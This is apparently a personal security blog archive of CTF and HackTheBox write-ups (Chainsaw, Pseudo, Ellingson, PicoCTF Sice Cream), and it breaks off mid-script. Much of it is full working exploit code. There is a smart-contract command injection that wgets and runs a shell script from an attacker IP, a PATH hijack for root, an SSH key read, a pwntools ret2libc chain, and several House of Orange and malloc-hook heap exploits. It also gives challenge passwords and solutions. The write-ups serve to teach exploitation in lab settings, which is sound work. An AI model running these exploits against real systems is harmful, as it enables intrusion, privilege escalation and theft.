Search This Blog

Saturday, November 23, 2019

Chainsaw HacktheBox Writeup


Chainsaw was quite an interesting and difficult box involving some blockchain programming.  After I finished the box, I found out that root could also be done with blockchain programming but I just hijacked the path to finish it up; you can check out some other writeups if you are interested in seeing that root method.  Anyways, let us begin!

On the initial basic port scan, only a ftp port shows up and it has anonymous login enabled.  Once you login in as anonymous, you see the following files: address.txt, WeaponizedPing.json, WeaponizedPing.sol

All of those files are related to Ethereum smart contracts.  The following link has a great lesson on interacting with this blockchain using python3 and web3.  On a more in depth massscan, I also found port 9810 open, in which I was able to interact with the blockchain.  Moreover, the name of the files are called weaponized ping... this hints at the classic example of command injection with a ping program.  It also contains a getDomain() and setDomain() function. This information will come in handy later.

First of all, web3 had to be used to connect to the Ethereum network and assign yourself the given address on the ftp server.  The JSON file provides another important component: the smart contract (the defining feature of Ethereum) ABI.  It basically describes how the smart contract works.  Moreover, using the default account on the network is also fine in this instance.

Now, with all the setup finished, it is time for command injection.  When calling the functions, do note the differences between call and transact.  Call is read only while transact is write operation, which is what I want to do when I set the malicious domain on the blockchain.  Anyways, afterwards, I just had the smart contract download a shellscript to open a bind shell on the box (with just the classic netcat method).  Here is my final exploit for this stage:


from web3 import Web3
import json
import random

def formatEther(str):
return web3.fromWei(str, "ether")

infura_url = "http://chainsaw.htb:9810"
web3 = Web3(Web3.HTTPProvider(infura_url))
#check ethereum connection
print (web3.isConnected)
# check latest block
print(web3.eth.blockNumber)
#using the given address
with open('address.txt') as f:
    address = f.readline()
address = address.split('\n')[0]
print(address)
# get account balance
balance = web3.eth.getBalance(address)
print(formatEther(balance)) #need this method cause ethereum special representation
#read smart account data
#need abi, json array, see from leaks from ftp
with open('WeaponizedPing.json', 'r') as f:
    array = json.load(f)
abi = array["abi"]
print(abi)
web3.eth.defaultAccount = web3.eth.accounts[0] # use default account
contract = web3.eth.contract(address=address, abi=abi)
filename = str(random.randint(1,10000)) + ".sh"
exploit = "getowned.com; wget http://10.10.14.6/shell.sh -O /tmp/" + filename + " && chmod +x /tmp/" + filename + " && /tmp/" + filename
contract.functions.setDomain(exploit).transact() #RCE time
print(contract.functions.getDomain().call())

Afterwards, a bind shell will be opened and you can connect and pop tty shell with python.  With some basic enumeration, you find that there is a user called bobby.  Hunting around with grep for the name as a string, I come across this file: ./.ipfs/blocks/OY/CIQG3CRQFZCTNW7GKEFLYX5KSQD4SZUO2SMZHX6ZPT57JIR6WSNTOYQ.data in the home directory of the current user (administrator).

Inside is a format of an email with some base64 encoding.  Decoding the main parts gets me an encrypted ssh key file, which I can then crack.  It turns out that Bobby's ssh key password is jackychain and I can then get user.

After extremely basic enumeration, I come across the ChainsawClub binary.  With some simple reversing, I see a call to sudo.  I also noticed that I could write to path.  I downloaded the same bind shell script I used originally and renamed it to sudo.  I then "export PATH=/home/bobby:$PATH" to prepend the home directory onto the path.  Now, when I run ChainsawClub and the call occurs, it uses the "sudo" in the /home/bobby directory, which in turns opens a bind shell with root permissions.

However, upon connection and popping another tty shell, I actually have not reached the root flag.  At this point, it is just a simple slack space problem in which blocks are only partially filled (the box even has bmap nicely installed).

bmap --mode slack root.txt

Running the command above will get us the real root flag!



Friday, November 15, 2019

Pseudo HacktheBox Writeup

Pseudo is the toughest challenge on HTB in my opinion as of 2019 (well, before headachev2 released). Nothing even comes close to this reversing challenge, which centers around an aarch64 and VM crackme. Before I start, I would like to thank davidlightman for working on it with me. He taught me many new reversing tricks and, oftentimes, managed to see things which I missed.

Starting off, we identify that the binary is UPX packed, so unpack it first. Then, we realize that it is an aarch64 binary. To actually reverse this, I ended up using qemu user mode (qemu-aarch64). Luckily, qemu-aarch64 had both a gdb remote debugging interface as well as a strace option to run when in emulation. For debugging, I used gdb-multiarch with the peda extension.

From an initial static analysis, we note that the main function is at 0x4004b0. Also, since it is statically compiled but completely stripped of symbols, it may help to identify some glibc functions. How do we recognize what functions are glibc related? Well, I mainly analyzed strings and tried to map similarities to the real life source code. Moreover, once I found that 0x49eba8 was assert(), my life became a lot easier. Remember to actually rename the functions as you go along. I relied a lot on GHIDRA's decompiler, but it helps a ton to understand arm assembly. Here were some of the references I used:
https://azeria-labs.com/writing-arm-assembly-part-1/
https://modexp.wordpress.com/2018/10/30/arm64-assembly/ 

After a while, I became pretty confident that functions in 0x49xxxx to 0x5xxxxx are glibc functions, so they don't matter too much. Function 400578 is where the most important part is.

There are multiple loops, random floating point arithmetic, and many conditionals. There also seems to be some bytecode starting from 0x5036b8. Let's get to some dynamic analysis. I highly recommend you use gdb's --command option to use its scripting capabilities. Upon running it, we get a message about "terminal for ants." I took it really literally and made my terminal fullscreen. Now it prompts for a password! However, there is also a better way here: using qemu's strace, you will see a call to ioctl, which can be used in terminal screen size checks. As you can see in 0x4004e8, there is where the call is happening. It is checked against the value 158 to see if your screen size is bigger than that. The solution here is to just use the following command: stty rows 159 columns 159

I didn't bother to check if rows or columns really mattered here, but you will beat the check. Now placing a breakpoint at 0x400650 (seems like this is where reading in is occuring), place a break point at 0x400570 (this also runs beforehand and it is closely tied to the massive loop but I would like to debug it after entering some passwords) and enter some random strings in the password prompt. Throughout static analysis, I noticed a lot of referencing to the w0, w20, and w21 registers. At this point, I was just printing the contents of those registers. Soon I noticed a pattern. Perhaps those bytecodes I saw earlier are part of a VM and this is like a VM crackme! Some extra analysis confirmed this: w0 is the bytecode (as it constantly changes), w20 is the offset or somewhat like a program counter (as it increases and decreases in a pattern or jumps around sometimes), and w21 points to where the base of the bytecode is (it stays constant). Also, once again from static analysis, I noticed that 0x00574c8 and 0x005740d0 are constantly referenced; perhaps they are the registers to this VM.

Moreover, all the conditionals seen in the massive loop are related to the operations that must be performed when w0 has a certain byte in it. Here is my summary of them (labeled with w0 value and corresponding location in binary):

w0 = 0x23 -> 0x4005d0

if (iVar6 == 0x23) {
    PTR_DAT_005740c8 = PTR_DAT_005740c8 + -1;
Decrements the index

w0 = 0x0e -> 0x4005e8

if (iVar6 == 0xe) {
    *PTR_DAT_005740c8 = *PTR_DAT_005740c8 + '\x01';
Increments value in current index

w0 = 0x01 -> 0x400600

if (iVar6 == 1) {
    *PTR_DAT_005740c8 = *PTR_DAT_005740c8 + -1;
 Decrements value in current index.

w0 = 0x05 -> 0x400618
    if (iVar6 == 5) {
        bVar3 = *PTR_DAT_005740c8;
        iVar6 = FUN_0049ecb8((ulonglong)bVar3); //run it on data at 5740c8
        if (iVar6 == 0 && bVar3 != 10) {
            return 1;
        }
    FUN_004b1570((ulonglong)bVar3,PTR_DAT_00574998);

ulonglong FUN_0049ecb8(int iParm1)
{
longlong in_tpidr_el0;
return (ulonglong)
((uint)*(ushort *)(*(longlong *)((undefined *)0x90 + in_tpidr_el0) + (longlong)iParm1 * 2)
& 0x4000);
}
This function didn't matter in solving this crackme.

w0 = 0x80 -> 0x400650

PTR_DAT_005740d0 = PTR_DAT_005740c8;
PTR_DAT_005740c8 = puVar2;
*puVar2 = 0xd;
PTR_DAT_005740c8 = PTR_DAT_005740c8 + 1;
do {
    uVar7 = FUN_004b1418(PTR_DAT_005749a0);
    *PTR_DAT_005740c8 = (char)(uVar7 & 0xff) + -0x5e;
    puVar2 = PTR_DAT_005740c8 + 1;
    PTR_DAT_005740c8 = puVar2;
} while ((uVar7 & 0xff) != 10);
PTR_DAT_005740c8 = PTR_DAT_005740d0;
PTR_DAT_005740d0 = puVar2;
Reads and modifies a password. It subtracts 0x5e from each character.

w0 = 0xef -> 0x400968
A good amount of floating point operations... it didn't matter in solving the crackme.

w0 = 0xd2 -> 0x4006c0
A good amount of floating point operations... reversing these are not necessary.
Perhaps it checks if the password is correct because I saw a "\r" in there.
You can also see in GHIDRA how compares w0 to w2, and w2 is result of the floating point operations... I hypothesized that this is where the password check is occurring.

w0 = 0x02 -> 0x400958

This part did not matter in solving the crackme.

w0 = 0x7f -> 0x400af8

This part did not matter in solving the crackme.

w0 = 0x17 -> 0x400584

while (iVar6 = (int)param_1, iVar6 == 0x17) {
    unaff_x20 = unaff_x20 + 1;
    PTR_DAT_005740c8 = PTR_DAT_005740c8 + 1;
    param_1 = (ulonglong)*(byte *)(unaff_x21 + unaff_x20);
    if (*(byte *)(unaff_x21 + unaff_x20) == 0) {
    return 0;
Increments counter and increments byte code offset in x20 register, then loads the next byte into the w0 register.
This part determines whether to keep looping or to stop.  If w0 = 0, it exits.

Most of them don't matter... it's funny though how it is very similar to brainfuck, with a few more instructions. The only things that really matter here is 0x80 (which reads in input and subtracts 0x5e from every char) and 0xd2, which is checking our input, or password. Also from dynamic analysis, you should see that if your password is wrong, the VM goes into an infinite loop on the byte 0x7f.
Now, how exactly do we figure out the result from all the crazy floating point arithmetic used to check the password? Answer is we don't need to. Take a look at this part around 0x40091c.

0040091c 5f 00 20 6b cmp param_3,param_1, UXTB
00400920 81 ee ff 54 b.ne LAB_004006f0

param_3 and param_1 are tied to w0 and w2 in GHIDRA. w2 is the difference between the char you entered and 0x5e. w0 is the result of the floating point arithmetic. We can determine them through debugging; they just need to be equal. Moreover, from debugging, you will notice that the chars are checked in reverse order. After a few minutes, I managed to get the password out.  It is the following:
~vms_all_the_way

Upon entering the password, the program prints out the flag in ASCII art and exits.

Sunday, November 3, 2019

oBfsC4t10n HackTheBox Writeup (Password Protected)

Although I'm not a huge fan of forensic problems, oBfsC4t10n is an amazing forensics challenge on HacktheBox which taught me a lot. Before I start, I would like to thank Deimos for working with me and D3v17 for catching a parsing bug I had in my script.  Since it is still active, so it will be password protected with the root flag.

Disclaimer:
Do not leak the writeups here without their flags. If I detect misuse, it will be reported to HTB. I also will not be responsible for any misuse of these writeups. If you are part of the HTB staff or are the creator of a challenge/box here and would like to see the writeup removed for a certain reason, please contact me. I will remove it as soon as possible.

Saturday, October 19, 2019

Ellingson HackTheBox Writeup

Ellingson was a fun but easy box from HackTheBox.  There was a really trivial python web exploit followed by a classic ret2libc attack.

In the initial nmap scan, only port 22 and port 80 show up.  From some basic enumeration, we can tell that the web page runs on Flask.  Let's try to break it!  After a few minutes, I find that navigating to http://ellingson.htb/articles/4 breaks the webpage and reveals a console.  Here was my interaction with the console to gain RCE.

import subprocess
subprocess.check_output(['ls', '-l']) runs ls -l for example
#whoami tells me that currently I am hal
subprocess.check_output(['ls', '/home']) #shows there are the following users: duke, hal, margo, theplague
subprocess.check_output(['ls', '-a', '/home/hal'])
b'.\n..\n.bash_logout\n.bashrc\n.cache\n.config\n.gnupg\n.local\n.profile\n.ssh\n.viminfo\n'
subprocess.check_output(['ls', '-a', '/home/hal/.ssh'])
b'.\n..\nauthorized_keys\nid_rsa\nid_rsa.pub\nknown_hosts\n
subprocess.check_output(['cat', '/home/hal/.ssh/id_rsa'])


But it turns out Hal's id_rsa did not work.  I decided to store my public key into a variable and write it to authorized_keys for Hal.  Once we get a shell via SSH, I navigated to /var/backups and found that I can access shadow.bak.  Running rockyou on it gets us the following credentials: margo:iamgod$08

Now, we will have gotten user.  Onto root!

I found a SUID binary called garbage almost immediately.  SCP the file out and do a classic ret2libc out; make sure to change our uid to 0 as well in the ROP chains.  The basic gist was to leak libc by calling puts on puts@GOT and redirecting execution back into main.  Then you call setuid(0) and redirect back to the vulnerable part of the program.  Lastly, I just had it call a libc magic one gadget to pop the final shell.  Here was my exploit (there was one small issue with outputs that I encountered initially so my way of reading the outputs was sort of weird and please note that I did this problem before the days when I discovered p64() and u64() and I also decided to experiment with the auto-ROP feature of pwntools):

import sys
import struct
from pwn import *

#context.log_level = 'debug'
remoteShell = ssh(host = 'ellingson.htb', user='margo', password='iamgod$08')
remoteShell.set_working_directory('/usr/bin')
elf = ELF('./garbage')
libc = ELF('./libc.so.6')
rop = ROP(elf)
context(arch='amd64')
rop.puts(elf.got['puts'])
rop.call(elf.symbols['main'])
print rop.dump()
leakPayload = 'A' * 0x88 + struct.pack('<Q', 0x40179b) + struct.pack('<Q', 0x404028) + struct.pack('<Q', 0x401050) + struct.pack('<Q', 0x401619)
#print leakPayload
#p = process('./garbage')
p = remoteShell.process('./garbage')
p.sendline(leakPayload)
temp = p.recvuntil('\x7f') #weird input output thing, but probably first byte is x7f
temp = temp.split('\n')[2]
leakedPuts = struct.unpack('Q', temp + '\x00\x00')[0]
libc.address = leakedPuts - libc.symbols['puts']
print 'LIBC_BASE: ' + hex(libc.address)
print 'SETTING UID to 0'
setuid = 'A' * 0x88 + struct.pack('<Q', libc.address + 0x2155f) + struct.pack('<Q', 0x0) + struct.pack('<Q', libc.address + 0xe5970) + struct.pack('<Q', 0x401513)#setuid 0 + go back to auth
p.sendline(setuid)
print 'OPENING A SHELL'
exploit = 'A' * 0x88 + struct.pack('<Q', libc.address + 0x4f322) #libc.so.6 one_gadget
p.sendline(exploit)
p.interactive()

And that's it for Ellingson!

Thursday, October 17, 2019

PicoCTF 2019 Sice Cream Writeup

Sice Cream was quite a difficult challenge from PicoCTF 2019.  Although most people did this by messing with the pointer to top chunk to return malloc hook, I performed a House of Orange attack (which only worked sometimes for some reason), as this is using libc 2.23.  Here is the reversed program (with my comments):


void alloc(void)
{
  int iVar1;
  ulong uVar2;
  void *pvVar3;
  long in_FS_OFFSET;
  char local_28 [24];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  iVar1 = FUN_004008a7();
  if (iVar1 < 0) { //no more than 0x13
    puts("Out of space!");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  puts("How much sice cream do you want?");
  printf("> ");
  read(0,local_28,0x10);
  uVar2 = strtoul(local_28,(char **)0x0,10);
  if (0x58 < (uint)uVar2) { //can only allocate up to 0x60 real size chunks
    puts("That\'s too much sice cream!");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  pvVar3 = malloc(uVar2 & 0xffffffff);
  *(void **)(&DAT_00602140 + (long)iVar1 * 8) = pvVar3;
  puts("What flavor?");
  printf("> ");
  read(0,*(void **)(&DAT_00602140 + (long)iVar1 * 8),uVar2 & 0xffffffff);
  puts("Here you go!");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}



void rename(void)
{
  puts("What\'s your name again?");
  printf("> ");
  read(0,&DAT_00602040,0x100);
  printf("Ah, right! How could a forget a name like %s!\n",&DAT_00602040);
  return;
}

void delete(void)
{
  ulong uVar1;
  long in_FS_OFFSET;
  char local_28 [24];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Which sice cream do you want to eat?");
  printf("> ");
  read(0,local_28,0x10);
  uVar1 = strtoul(local_28,(char **)0x0,10);
  if (0x13 < (uint)uVar1) {
    puts("Invalid index!");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  free(*(void **)(&DAT_00602140 + (uVar1 & 0xffffffff) * 8)); //potential for double free
  puts("Yum!");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


void menu(void)
{
  puts("1. Buy sice cream");
  puts("2. Eat sice cream");
  puts("3. Reintroduce yourself");
  puts("4. Exit");
  return;
}

void main(void)
{
  int iVar1;
  ulong uVar2;
  long in_FS_OFFSET;
  char local_28 [24];
  undefined8 local_10;

  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  puts("Welcome to the Sice Cream Store!");
  puts("We have the best sice cream in the world!");
  puts("Whats your name?");
  printf("> ");
  read(0,&DAT_00602040,0x100);
  while( true ) {
    while( true ) {
      while( true ) {
        menu();
        printf("> ");
        read(0,local_28,0x10);
        uVar2 = strtoul(local_28,(char **)0x0,10);
        iVar1 = (int)uVar2;
        if (iVar1 != 2) break;
        delete();
      }
      if (2 < iVar1) break;
      if (iVar1 != 1) goto LAB_00400cb5;
      alloc();
    }
    if (iVar1 != 3) break;
    rename();
  }
  if (iVar1 == 4) {
    puts("Too hard? ;)");
  }
LAB_00400cb5:
                    /* WARNING: Subroutine does not return */
  exit(0);
}


void somefunction(char *pcParm1)
{
  int iVar1;
  FILE *__fp;

  __fp = fopen(pcParm1,"r");
  if (__fp != (FILE *)0x0) {
    while( true ) {
      iVar1 = _IO_getc((_IO_FILE *)__fp);
      if ((char)iVar1 == -1) break;
      putchar((int)(char)iVar1);
    }
  }
  return;
}

As you can see, the main bug is the double free.  We can also utilize the rename function for leaks.  For heap leaks, we can simply fill it with (0xff) “A”s and then it would print all those As and the  pointer to your first chunk (which you should allocate first), thus giving us a heap leak; this only works due to the location of name in bss, which is at 0x602040, and the array of pointers at 0x602140, and the fact that rename reads in size 0x100.

As for the libc leak, we will need to create a double free (Ex. free(1), free(2), free(1)) and re-allocate chunks of the same size to overwrite the next pointer in the double freed chunk to point into the BSS part where your name is stored (you will need to setup the name section to bypass the fastbin size checks as well).  Then, you can rename yourself (once a chunk gets allocated there) so that the size falls into unsorted range and set the region of memory below to pass the other libc checks accordingly.  Freeing that, and then filling it up with enough "A"s to block out the nulls will allow us to get a main arena address, thereby providing us with a libc leak.

Now, we have all the leaks, but we still have a major issue: arbitrary write and code execution.  The size limitations make the classic fastbin attack impossible.  There aren't any other bytes I could misalign around hooks.  There also is Full RELRO.

However, the name buffer does have size 0x100, making me think of House of Orange.  I studied House of Orange for the first time with the help of this link and this link.  The basic idea involves an unsorted bin attack, a fake file structure, and purposely causing the program to call abort() with what we desire. 

When abort() is called, _IO_flush_all_lockp() is then called.  Eventually, it will go through _IO_list_all to call _IO_OVERFLOW(fp, EOF).  We need to overwrite _IO_list_all with a malicious pointer so that _IO_OVERLOW points to system (4th item in the malicious vtable) and the first 8 bytes are set to '/bin/sh'.   _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh') now (thank you how2heap for explaining this to me).  The chain items in the fake structures will also have to be null to work in this House of Orange scenario.  However, to satisfy this constraint: fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base, you have to make sure to make _IO_write_ptr something like 3 and _IO_write_base something smaller like 2.

Since we don't have enough space to also fit in a vtable in the buffer for name, we can save a chunk in the fastbin to then reallocate and store the system addresses with the help of heap leak.  Last thing... what should we overwrite the size of the "unsorted" chunk with?  Well, according to how2heap and malloc.c, if we set the size to 0x61 and allocate a smaller chunk, malloc will place it into smallbin 4. With the unsorted bin attack to overwrite with the address, this location will represent the fake file pointer's fd-ptr.  Here's the final exploit:

from pwn import *

bin = ELF('./sice_cream')
libc = ELF('./libc.so.6')
#context.log_level = 'debug'
#https://amritabi0s.wordpress.com/2018/05/01/asis-ctf-quals-2018-fifty-dollors-write-up/
#p = process('./sice_cream')
#nc 2019shell1.picoctf.com 35993
p=remote('2019shell1.picoctf.com', 35993)

def wait():
    p.recvrepeat(0.5)

def alloc(size, data):
    wait()
    p.sendline(str(1))
    wait()
    p.sendline(str(size))
    wait()
    p.sendline(data)

def delete(index):
    wait()
    p.sendline(str(2))
    wait()
    p.sendline(str(index))

def rename(data):
    wait()
    p.sendline(str(3))
    wait()
    p.sendline(data)

wait()
p.sendline('test')
#plan, double frees originally to redirect fake chunk into BSS, rename to forge fake chunks and transfer ones to other bins
alloc(0x20, 'A' * 20) #0
alloc(0x20, 'B' * 20) #1
#grab a heap leak here
rename('A' * (0x100-1))
p.recvline()
temp = p.recvline().split('!')[0] #no null bytes, prints out first address in heap bss array
heapLeak = u64(temp.ljust(8, '\x00'))
log.info('Leaked Heap Address: ' + hex(heapLeak))
#p.interactive()
delete(0)
delete(1)
delete(0) #classic double free
alloc(0x20, p64(0x602040)) #change fd to redirect to name + 0x10, 2
#p.interactive()
alloc(0x20, '') #3
alloc(0x20, '') #4
rename(p64(0)+p64(0x31) + p64(0)*4 + p64(0x30) + p64(0x20)) #to beat fast bin size check
alloc(0x20, 'blah blah blah') #5... get fake chunk back into name bss
alloc(0x50, '') #6
delete(5)
rename(p64(0)+p64(0x91) + 'A' * 0x88 +p64(0x21) + p64(0)*3 + p64(0x21)) #5 overwrite it, fake it as unsorted, need to fake more to beat checks to prevent a corruption/double free issue
delete(5) #get it into unsorted
rename('A' * 15) #should leak
p.recvline()
temp = p.recvline().split('!')[0]
leak = u64(temp.ljust(8, '\x00'))
offset = 0x00007f6104a82b78-0x00007f61046be000 #pulled from gdb
libcBase = leak - offset
IO_list_all = libcBase + libc.symbols['_IO_list_all']
system = libcBase + libc.symbols['system']
log.info('Libc Base: ' + hex(libcBase))
log.info('Main Arena: ' + hex(leak-88))
log.info('_IO_list_all: ' + hex(IO_list_all))
log.info('System: ' + hex(system))
fakevtable = heapLeak + 0x60 #find offset by debugging
#rename can help us overwrite... perform House of Orange, satisfy write_base < write_ptr (2 and 3), add pointer to fake vtable, null out everything for it to work
payload = '/bin/sh\x00' +p64(0x61) + p64(leak) + p64(IO_list_all-0x10)+p64(2)+p64(3)+p64(0)*18+p64(0)+p64(0)+p64(0)+p64(fakevtable)
rename(payload)
delete(6) #free it
alloc(0x50, p64(system) * 7) #fake vtable
p.interactive() #ctrl +D to exit interactive mode
alloc(0x10, '') #pop shells
p.interactive()

However, there were some cool alternative methods as well, which I learned afterwards and would like to share. 

I heard about a cool way afterwards about overwriting into the main arena to manipulate where top chunk points to, which this post talks about.  This way, using the classic fastbin duplication (since we have already redirected a chunk into BSS and freed it, the main arena will have pointers to BSS in its fastbin array (with the 0x60 as the high bytes), and therefore we can fastbin duplicate into there with misalignment), we can get top chunk to be located near malloc hook for future allocations by overwriting the original top chunk pointer. 

Then, we can allocate and overwrite malloc hook.  We also do need to fix the unsorted bin size (I made it really small) so future allocations for fastbin size will not come from there.  However, none of the one gadget constraints were satisfied when we made the program call malloc.  NotDeGhost from redpwn and Faith mentioned the idea from this blog post, in which we purposely trigger a double free or corruption error by freeing two of the same chunks successively.  This way, free will eventually call malloc_printerr, which will eventually call strdup, which uses malloc() and thus calls our hook.  In this scenario, the constraints were satisfied and we popped a shell.

wait()
p.sendline('test')
#plan, double frees originally to redirect fake chunk into BSS, rename to forge fake chunks and transfer ones to other bins
alloc(0x20, 'A' * 20) #0
alloc(0x20, 'B' * 20) #1
#grab a heap leak here
rename('A' * (0x100-1))
p.recvline()
temp = p.recvline().split('!')[0] #so null bytes, prints out first address in heap bss array
heapLeak = u64(temp.ljust(8, '\x00'))
log.info('Leaked Heap Address: ' + hex(heapLeak))
#p.interactive()
delete(0)
delete(1)
delete(0)
alloc(0x20, p64(0x602040)) #change fd to redirect to name + 0x10, 2
#p.interactive()
alloc(0x20, '') #3
alloc(0x20, '') #4
rename(p64(0)+p64(0x31) + p64(0)*4 + p64(0x30) + p64(0x20)) #to beat fast bin size check
alloc(0x20, 'blah blah blah') #5... get fake chunk back into name bss
delete(5)
rename(p64(0)+p64(0x91) + 'A' * 0x88 +p64(0x21) + p64(0)*3 + p64(0x21)) #5 overwrite it, fake it as unsorted, need to fake more than just adjacent
delete(5) #get it into unsorted
rename('A' * 15) #should leak
p.recvline()
temp = p.recvline().split('!')[0]
leak = u64(temp.ljust(8, '\x00'))
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
offset = 0x00007f6104a82b78-0x00007f61046be000 #pulled from gdb
libcBase = leak - offset
mallocHook = 0x00000000003c4b10 + libcBase
onegadget = libcBase + 0xf02a4 #test and pray one works
log.info('Libc Base: ' + hex(libcBase))
log.info('Main Arena: ' + hex(leak-88))
log.info('Malloc hook: ' + hex(mallocHook))
log.info('One Gadget: ' + hex(onegadget))
#rename again to get rid of the unsorted stuff, it will be ignored in subsequent allocations as long as we allocated above that size
rename(p64(0)+p64(0x21) + p64(leak)*2 + p64(0x21) * 8) #fill it up, doesn't matter, beats check, also in unsorted, so be careful with the libc addresses used so you don't cause an unwanted unsorted bin attack
#overwrite top chunk to start allocating next chunks near malloc hook
#https://amritabi0s.wordpress.com/2018/04/02/0ctf-quals-babyheap-writeup/
'''
0x7f1e26c26b20: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b30: 0x0000000000602040 0x0000000000000000
0x7f1e26c26b40: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b50: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b60: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b70: 0x0000000000000000 0x0000000001fe2060
'''
#malloc state has fastbin array before... we only used it for 0x30 real size fastbins, so we can overwrite where top chunk points to, thanks to 0x60 in bss we created originally
#create a double free in 0x50 fastbin
alloc(0x50, '') #6
alloc(0x50, '') #7
delete(6)
delete(7)
delete(6)
alloc(0x50, p64(leak-88+0xa)) #to misalign to get 0x60 byte first #8
alloc(0x50, '') #9
alloc(0x50, '') #10
alloc(0x50, '\x00' * (0x10 - 0xa)+'\x00' * 0x38 + p64(mallocHook-0x10)) #get a chunk back into fastbin array, null out all before top chunk, then point it to before malloc hook, also can "sort of" look like top chunk
alloc(0x40, p64(onegadget)) #11, unused size before, will allocate from "top" and end up over mallocHook, overwrite with malloc hook
#then https://blog.osiris.cyber.nyu.edu/2017/09/30/csaw-ctf-2017-auir/ -> free actually when double free errors calls malloc_printerr which in turn calls strdup, which uses malloc, which in turn will help us call our hook
#now purposely trigger double free
delete(6)
delete(6)
p.interactive()

Using the same top chunk/fastbin attack method, there is another way to satisfy the constraints.  nek0nyaa mentioned this "two gadget" technique, in which I overwrite realloc hook with a magic one gadget and redirect malloc hook to call realloc.  In this case, I pointed malloc hook to point to __libc_realloc + a certain offset; if you skip certain instructions, especially for the beginning push instructions, you will change the way in which the stack is created and might actually satisfy the constraints.  In this case, one of the one gadgets worked when malloc hook was pointed to __libc_realloc + 16.

wait()
p.sendline('test')
#plan, double frees originally to redirect fake chunk into BSS, rename to forge fake chunks and transfer ones to other bins
alloc(0x20, 'A' * 20) #0
alloc(0x20, 'B' * 20) #1
#grab a heap leak here
rename('A' * (0x100-1))
p.recvline()
temp = p.recvline().split('!')[0] #so null bytes, prints out first address in heap bss array
heapLeak = u64(temp.ljust(8, '\x00'))
log.info('Leaked Heap Address: ' + hex(heapLeak))
#p.interactive()
delete(0)
delete(1)
delete(0)
alloc(0x20, p64(0x602040)) #change fd to redirect to name + 0x10, 2
#p.interactive()
alloc(0x20, '') #3
alloc(0x20, '') #4
rename(p64(0)+p64(0x31) + p64(0)*4 + p64(0x30) + p64(0x20)) #to beat fast bin size check
alloc(0x20, 'blah blah blah') #5... get fake chunk back into name bss
delete(5)
rename(p64(0)+p64(0x91) + 'A' * 0x88 +p64(0x21) + p64(0)*3 + p64(0x21)) #5 overwrite it, fake it as unsorted, need to fake more than just adjacent
delete(5) #get it into unsorted
rename('A' * 15) #should leak
p.recvline()
temp = p.recvline().split('!')[0]
leak = u64(temp.ljust(8, '\x00'))
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
offset = 0x00007f6104a82b78-0x00007f61046be000 #pulled from gdb
libcBase = leak - offset
mallocHook = 0x00000000003c4b10 + libcBase
reallocHook = 0x00000000003c4b08 + libcBase
#onegadget = libcBase + 0xf02a4 #test and pray one works
onegadget = libcBase + 0x4526a #test and pray one works
libcrealloc = libcBase + 0x00000000000846c0
log.info('Libc Base: ' + hex(libcBase))
log.info('Main Arena: ' + hex(leak-88))
log.info('Malloc hook: ' + hex(mallocHook))
log.info('Realloc hook: ' + hex(reallocHook))
log.info('__libc_realloc: ' + hex(libcrealloc))
log.info('One Gadget: ' + hex(onegadget))
#rename again to get rid of the unsorted stuff, it will be ignored in subsequent allocations as long as we allocated above that size
rename(p64(0)+p64(0x21) + p64(leak)*2 + p64(0x21) * 8) #fill it up, doesn't matter, beats check, also in unsorted, so be careful with the libc addresses used
#overwrite top chunk to start allocating next chunks near malloc hook
#https://amritabi0s.wordpress.com/2018/04/02/0ctf-quals-babyheap-writeup/
'''
0x7f1e26c26b20: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b30: 0x0000000000602040 0x0000000000000000
0x7f1e26c26b40: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b50: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b60: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b70: 0x0000000000000000 0x0000000001fe2060
'''
#malloc state has fastbin array before... we only used it for 0x30 real size fastbins, so we can overwrite where top chunk points to, thanks to 0x60 in bss we created originally
#create a double free in 0x50 fastbin
alloc(0x50, '') #6
alloc(0x50, '') #7
delete(6)
delete(7)
delete(6)
alloc(0x50, p64(leak-88+0xa)) #to misalign to get 0x60 byte first #8
alloc(0x50, '') #9
alloc(0x50, '') #10
alloc(0x50, '\x00' * (0x10 - 0xa)+'\x00' * 0x38 + p64(reallocHook-0x10)) #fake chunk to realloc hook
#another method if none of one gadgets work... two gadget method... make realloc  hook point to one gadget and malloc hook point to __libc_realloc +n so it hopefully satisfies constraints, thank you to nek0nyaa for sharing this
'''
Dump of assembler code for function realloc:
   0x00000000000846c0 <+0>: push   r15
   0x00000000000846c2 <+2>: push   r14
   0x00000000000846c4 <+4>: push   r13
   0x00000000000846c6 <+6>: push   r12
   0x00000000000846c8 <+8>: mov    r13,rsi
   0x00000000000846cb <+11>: push   rbp
   0x00000000000846cc <+12>: push   rbx
   0x00000000000846cd <+13>: mov    rbx,rdi
